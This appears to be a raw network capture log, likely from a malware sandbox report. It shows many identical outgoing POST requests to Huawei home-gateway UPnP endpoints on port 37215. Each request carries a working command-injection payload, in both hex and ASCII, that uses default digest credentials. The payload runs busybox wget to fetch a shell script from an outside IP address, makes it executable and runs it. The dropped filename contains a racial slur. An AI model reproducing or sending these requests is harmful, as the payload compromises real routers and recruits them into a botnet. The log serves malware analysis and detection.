Feb 19, 2024 18:37:40.513012886 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:56.384620905 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.15	49738	45.207.178.194	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:24.711508036 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:26.273534060 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:28.097318888 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:31.809446096 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:39.233144045 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:53.824745893 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:23.007872105 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.15	33046	45.207.153.168	37215

Timestamp	Bytes transferred	Direction	Data
